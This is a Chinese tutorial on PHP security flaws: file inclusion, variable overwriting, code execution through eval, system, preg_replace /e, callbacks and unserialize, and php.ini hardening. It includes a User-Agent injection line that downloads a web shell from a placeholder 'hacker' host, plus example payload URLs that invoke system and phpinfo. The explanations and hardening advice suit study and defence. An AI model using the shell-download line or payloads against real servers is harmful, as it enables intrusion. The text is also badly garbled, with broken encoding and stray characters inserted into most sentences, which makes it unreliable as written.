??時(shí)至今日,PHP是一種非常流行的web開發(fā)語言免绿,但PHP語言的安全問題也很多唧席,而且PHP語言的安全問題有其自身語言的一些特點(diǎn)。
文件包含漏洞
??在互聯(lián)網(wǎng)的安全歷史中嘲驾,PHP的文件包含漏洞已經(jīng)臭名昭著了淌哟,因?yàn)樵诟鞣N各樣的PHP應(yīng)用中挖出的文件包含漏洞數(shù)不勝數(shù),且后果都很嚴(yán)重辽故。
??代碼注入攻擊的原理是注入一段用戶能控制的腳本或代碼徒仓,并讓服務(wù)器端執(zhí)行。代碼注入的典型代表就是文件包含(file inclusion)誊垢。文件包含可能會(huì)出現(xiàn)在JSP掉弛、PHP、ASP等語言中彤枢,常見的導(dǎo)致文件包含的函數(shù)如下:
PHP: include(),include_once(),require(),require_once(),fopen(),readfile(),...;
JSP/Servlet: ava.io.File(),java.io.FileReader(),...
ASP: include file(),include virthal(),...
??文件包含是PHP的一種常見用法:主要有四個(gè)函數(shù):
include()
require()
include_once()
require_once()
??當(dāng)用這四個(gè)函數(shù)包含一個(gè)新的文件時(shí)狰晚,該文件將作為PHP代碼執(zhí)行,PHP內(nèi)核并不會(huì)在意該被包含的文件是什么類型缴啡。所以如果被包含的是txt文件、圖片文件瓷们、遠(yuǎn)程URL业栅,也都將作為PHP代碼執(zhí)行。這一特性谬晕,在實(shí)施攻擊時(shí)將非常有作用碘裕。
??成功利用文件包含漏洞,需要滿足兩個(gè)條件:
- 1.include()等函數(shù)通過動(dòng)態(tài)變量的方式引入需要包含的文件攒钳;
- 2.用戶能夠控制該動(dòng)態(tài)變量帮孔。
本地文件包含
??能夠打開并包含本地文件的漏洞,被稱為貝本地件包含漏洞(local file inclusion,簡(jiǎn)稱LFI)
??關(guān)鍵詞:
- 字符串截?cái)啵篜HP0字節(jié)(\x00作為字符串結(jié)束符不撑;
- 操作系統(tǒng)對(duì)目錄最大長(zhǎng)度限制文兢,超過最大長(zhǎng)度之后的字符將被拋棄(Windows256字節(jié)、Linux4096字節(jié))
- 目錄遍歷:諸如使用了
../../../
這樣的方式來返回到上層目錄中的方式焕檬,再利用時(shí)可以以編碼的方式繞過安全檢測(cè)姆坚; - open_basedir:其作用是限制在某個(gè)特定目錄下PHP能打開的文件,需要注意的是open_basedir的值是目錄前綴实愚,列:
open_basedir=/home/app/aaa
限制目錄為/home/app
(Windows下多個(gè)目錄用分號(hào)隔開兼呵,Linux下用冒號(hào)隔開)兔辅。
遠(yuǎn)程文件包含
??如果PHP的配置選項(xiàng)allow_url_include為ON的話,則include/require函數(shù)是可以加載遠(yuǎn)程文件的击喂,這種漏洞被稱為遠(yuǎn)程文件包含漏洞(remote file inclusion维苔,簡(jiǎn)稱RFI)
本地文件包含的利用技巧
??
- 包含用戶上傳的文件;
- 包含data://或php://input等偽協(xié)議懂昂;
偽協(xié)議如php://input蕉鸳、data://等需要服務(wù)器支持,同時(shí)要求allow_url_include設(shè)置為ON忍法。 - 包含Session文件潮尝;
包含Session文件的條件需要攻擊者能控制部分session文件內(nèi)容。 - 包含日志文件饿序,比如web server的access log勉失;
包含日志文件是一種比較通用的技巧。因?yàn)榉?wù)器一般都會(huì)往web server的access_log里記錄客戶端的請(qǐng)求消息原探,在error_log中記錄出錯(cuò)的請(qǐng)求乱凿。因此攻擊者可以間接的將PHP代碼寫入到日志文件中,在文件包含時(shí)咽弦,只需要包含日志文件即可徒蟆。(日至文件每天更新,在凌晨時(shí)完成型型,能夠提高效率) - 包含/proc/self/environ文件
包含/proc/self/environ是一種更為通用的方法段审,他不需要猜測(cè)被包含文件的路徑,同時(shí)用戶能控制他的內(nèi)容闹蒜,可以看到web進(jìn)程運(yùn)行時(shí)的環(huán)境變量寺枉,其中很多都是用戶可控的,最常用的方法是在User_Agent中注入PHP代碼绷落,比如:
<?php system('wget http://hacker/shells/php.txt -O shell.php');?>
??以上這些方法姥闪,都要求PHP能夠包含這些文件,而這些文件往往處于web目錄之外砌烁,如果PHP配置了open_basedir,則很可能使得攻擊無效筐喳。
- 包含上傳的臨時(shí)文件(RFC1867)。
但是PHP創(chuàng)建的上傳臨時(shí)文件函喉,往往處于PHP允許訪問的目錄范圍內(nèi)避归。包含這個(gè)臨時(shí)文件的方法,其理論意義大于實(shí)際意義函似。
PHP會(huì)為上傳文件創(chuàng)建臨時(shí)文件槐脏,其目錄在php.ini的upload_tmp_dir中定義。但該值默認(rèn)為空撇寞,此時(shí)在Linux系統(tǒng)下會(huì)使用/tmp目錄顿天,在Windows下會(huì)使用C:\windows\tmp目錄堂氯。該臨時(shí)文件的文件名是隨機(jī)的,攻擊者必須準(zhǔn)確的猜測(cè)出該文件名才能成功利用漏洞牌废。(可以暴力破解咽白,Windows下僅有65535種不同的文件名) - 包含其他應(yīng)用創(chuàng)建的文件,比如數(shù)據(jù)庫文件鸟缕、緩存文件晶框、應(yīng)用日志等。
變量覆蓋漏洞
全局變量覆蓋
??變量如果未被初始化懂从,且能被用戶所控制授段,那么很可能會(huì)導(dǎo)致安全問題番甩,在PHP中侵贵,這種情況在register_globals為ON時(shí)尤為嚴(yán)重。register_globals為ON時(shí)缘薛,變量來源可能是各個(gè)不同的方向窍育,比如頁面的表單、cookie等宴胧,當(dāng)用戶能夠控制變量來源是漱抓,無論變量有沒有被初始化,都將造成一些安全隱患恕齐。
extract()變量覆蓋
??extract()函數(shù)能將變量從數(shù)組導(dǎo)入當(dāng)前的符號(hào)表乞娄,其函數(shù)定義如下:
int extract(array $var_array [, int $extract_type [, string $prefix]])
??其中第二個(gè)參數(shù)指定函數(shù)將變量導(dǎo)入符號(hào)表時(shí)的行為,最常見的兩個(gè)值是“EXTR_OVERWRITE”和“EXTR_SKIP”檐迟。當(dāng)值為“EXTR_OVERWRITE”時(shí)补胚,再將值導(dǎo)入符號(hào)表的過程中,如果變量名發(fā)生沖突追迟,則覆蓋已有變量;當(dāng)值為“EXTR_SKIP”則表示跳不過覆蓋骚腥。若第二個(gè)參數(shù)未指定敦间,則默認(rèn)為“EXTR_OVERWRITE”。
??一種較為安全的做法是確定register_globals=OFF后束铭,在調(diào)用extract()時(shí)使用EXTR_SKIP保證已有變量不被覆蓋廓块。(extract()的來源不能被用戶控制)
??在PHP中是由php.ini中的variables_order所定義的順序來獲取變量的。
遍歷初始化變量
??常見的一些以遍歷的方式釋放變量的代碼契沫,可能會(huì)導(dǎo)致變量覆蓋带猴。在代碼審計(jì)時(shí)需要注意類似“$$k”的變量賦值方式有可能覆蓋已有變量,從而導(dǎo)致一些不可控制的結(jié)果懈万。
import_request_variables變量覆蓋
bool import_request_variables(string $type [, string $prefix])
import_request_variables()將GET拴清、POST靶病、Cookie中的變量導(dǎo)入到全局,使用這個(gè)函數(shù)只需要簡(jiǎn)單的指定類型即可口予。
parse_str()變量覆蓋
  void parse_str(string $str [,array &$arr])
??parse_str()函數(shù)往往被用于解析URL的querystring娄周,但是當(dāng)參數(shù)值能被用戶控制時(shí),很可能導(dǎo)致變量覆蓋沪停。如果指定了parse_str()的第二個(gè)參數(shù)煤辨,則會(huì)將query string中的變量解析后存入該數(shù)組變量中。因此在使用parse_str()時(shí)木张,應(yīng)盡量指定第二個(gè)參數(shù)众辨。與parse_str()相似的函數(shù)還有mb_parse_str()。
??安全建議:
1.確保register_globals=OFF舷礼。若不能定義php.ini鹃彻,則在代碼中控制
2.熟悉可能造成變量覆蓋的函數(shù)和方法,檢查用戶是否能控制變量的來源且轨。
3.盡可能的初始化變量浮声。
代碼執(zhí)行漏洞
??PHP代碼執(zhí)行的兩個(gè)關(guān)鍵條件:
- 第一是用戶能夠控制的函數(shù)輸入;
- 第二是存在可以執(zhí)行代碼的危險(xiǎn)函數(shù)旋奢。
”危險(xiǎn)函數(shù)“執(zhí)行代碼
??文件包含漏洞是可以引起代碼執(zhí)行的泳挥。但在PHP中,能夠執(zhí)行代碼的方式遠(yuǎn)不止文件包含漏洞一種至朗,比如危險(xiǎn)函數(shù)popen()屉符、system()、passthru()锹引、exec()等都可以執(zhí)行系統(tǒng)命令矗钟。此外,eval()函數(shù)也可執(zhí)行PHP代碼嫌变。還有一些比較特殊的情況吨艇,比如允許用戶上傳PHP代碼,或者是應(yīng)用寫入到服務(wù)器的文件內(nèi)容和文件類型可以由用戶控制腾啥,都可能導(dǎo)致代碼執(zhí)行东涡。
挖掘漏洞的過程,通常需要先找到危險(xiǎn)函數(shù)倘待,然后回溯函數(shù)的調(diào)用過程疮跑,最終看在整個(gè)調(diào)用過程中用戶是否有可能控制輸入。
”文件寫入“執(zhí)行代碼
??在PHP中對(duì)文件的操作一定要謹(jǐn)慎凸舵,如果文件操作的內(nèi)容用戶可以控制祖娘,則也極容易成為漏洞。
其他執(zhí)行代碼方式
直接執(zhí)行代碼的函數(shù)
??PHP中有不少可以直接執(zhí)行代碼的函數(shù)啊奄,比如:eval()渐苏、assert()掀潮、system()、exec()0整以、shell_exec()胧辽、passthru()、escapeshellcmd()公黑、pcntl_exec()等邑商。一般來說最好在PHP中禁用這些函數(shù),在審計(jì)代碼時(shí)則可以檢查代碼中是否存在這些函數(shù)凡蚜,然后回溯危險(xiǎn)函數(shù)的調(diào)用過程人断,看用戶是否可以控制輸入。
文件包含
??文件包含漏洞也是代碼注入的一種朝蜘,需要高度關(guān)注能夠包含文件的函數(shù):include(),include_once(),require(),require_once()恶迈。
本地文件寫入
??常見的能夠往本地文件里寫入內(nèi)容的函數(shù)有file_put_contents(),fwrite(),fputs()等。寫入文件的功能可以和文件包含谱醇、危險(xiǎn)函數(shù)暇仲、執(zhí)行等漏洞結(jié)合,最終使得原本用戶無法控制的輸入變成可控副渴。在代碼審計(jì)時(shí)要注意這種”組合類“漏洞奈附。
preg_replace()代碼執(zhí)行
??preg_replace()的第一個(gè)參數(shù)如果存在/e模式修飾符,則允許代碼執(zhí)行煮剧。當(dāng)?shù)谝粋€(gè)參數(shù)中沒有沒有/e模式修飾符時(shí)斥滤,也是有可能執(zhí)行代碼的,這要求在第一個(gè)參數(shù)中包含變量勉盅,并且用戶可控制佑颇,有可能通過注入/e%00的方式截?cái)辔谋荆⑷?e草娜。
<?php
$var='<tag>phpinfo()</tag>';
preg_replace("/<tag>(.*?)<\/tag>/e",'addslashes(\\1)',$var);
?>
動(dòng)態(tài)函數(shù)執(zhí)行
??用戶自定義的動(dòng)態(tài)函數(shù)可以導(dǎo)致代碼執(zhí)行挑胸。需要注意如下情況:
<?php
$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);
?>
??這種寫法近似于后門,將直接導(dǎo)致代碼執(zhí)行宰闰,比如:
http://www.example.com/index.php?dyn_func=system&argument=uname
Curly Syntax
??PHP的Curly Syntax也能導(dǎo)致代碼執(zhí)行嗜暴,他將執(zhí)行花括號(hào)間的代碼,并將結(jié)果替換回去议蟆,如:
<?php
$var = "I Love You ${'ls'}";
?>
??ls命令將列出本地目錄的文件
回調(diào)函數(shù)執(zhí)行代碼
??很多函數(shù)都可以執(zhí)行回調(diào)函數(shù),當(dāng)回調(diào)函數(shù)用戶可控時(shí)萎战,將導(dǎo)致代碼執(zhí)行咐容。
<?php
$evil_callback = $_GET['callback'];
$some_array = array(0,1,2,3);
$new_array = array_map($evil_callback,$some_array);
?>
攻擊payload如下:
http://www.example.com/index.php?callback=phpinfo
unserialize()導(dǎo)致代碼執(zhí)行
??unserialize()代碼執(zhí)行有兩個(gè)條件:
- unserialize()的參數(shù)用戶可以控制,這樣可以構(gòu)造出需要反序列化的數(shù)據(jù)結(jié)構(gòu)蚂维;
- 存在_destruct()函數(shù)或者_(dá)wakeup()函數(shù)戳粒。這兩個(gè)函數(shù)實(shí)現(xiàn)的邏輯決定了能執(zhí)行什么樣的代碼路狮。
定制安全的PHP環(huán)境
??推薦php.ini中一些安全參數(shù)的配置:
- register_globals
當(dāng)register_globals=ON時(shí),PHP不知道變量從何而來蔚约,也容易出現(xiàn)一些變量覆蓋的問題奄妨。因此從最佳實(shí)踐的角度,強(qiáng)烈建議設(shè)置register_globals=OFF苹祟,改設(shè)置在最新版本的PHP中默認(rèn)設(shè)置砸抛。 - open_basedir
open_basedir可以限制PHP只能操作指定目錄下的文件。這在對(duì)抗文件包含树枫、目錄遍歷等攻擊時(shí)非常有用直焙。open_basedir = /home/web/1/
- allow_url_include
為了對(duì)抗遠(yuǎn)程文件包含,關(guān)閉此選項(xiàng)砂轻,一般PHP應(yīng)用不會(huì)用到此選項(xiàng)奔誓,而且推薦關(guān)閉allow_url_fopen.allow_url_include = Off allow_url_fopen = Off
- display_errors
錯(cuò)誤回顯,它可以暴露出非常多的敏感信息搔涝,為攻擊者下一步攻擊提供便利厨喂。推薦關(guān)閉display_errors = Off
- log_errors
在正常環(huán)境下使用,把錯(cuò)誤信息記錄在日志里庄呈,正好可以關(guān)閉錯(cuò)誤回顯:log_errors = On
- magic_quotes_gpc
推薦關(guān)閉蜕煌,他并不值得依賴,已知已經(jīng)有若干種方法可以繞過它抒痒,甚至由于他的存在反而衍生出了一些新的安全問題幌绍。XSS、SQL注入等漏洞故响,都應(yīng)該由應(yīng)用在正確的地方解決傀广,同時(shí)關(guān)閉它還能提高性能。magic_quotes_gpc = Off
- cgi.fix_pathinfo
若PHP以CGI的方式安裝彩届,則需要關(guān)閉此項(xiàng)伪冰,以避免出現(xiàn)文件解析問題cgi.fix_pathinfo = 0
- session.cookie_httponly
開啟httponlysession.cookie_httponly = 1
- session.cookie_secure
若是全站HTTPS則請(qǐng)開啟此項(xiàng)。session.cookie_secure = 1
- safe_mode && disable_functions
PHP的安全模式是否被開啟一直有爭(zhēng)議樟蠕,因?yàn)樗梢员焕@過贮聂,disable_functions函數(shù)能夠在PHP中禁用一些函數(shù)。共享環(huán)境中(比如:APP Engine)則建議開啟safe_mode,并和disable_functions函數(shù)配合使用;單獨(dú)的應(yīng)用環(huán)境乐严,則可以考慮關(guān)閉safe_mode履恩,利用disable_functions控制運(yùn)行環(huán)境安全。
小結(jié)
??PHP是一門被廣泛使用的web開發(fā)預(yù)言,它的語法和使用方式非常的靈活式塌,這也導(dǎo)致了PHP代碼安全評(píng)估的難度相對(duì)較高书在,PHP的安全問題相對(duì)較多甘穿。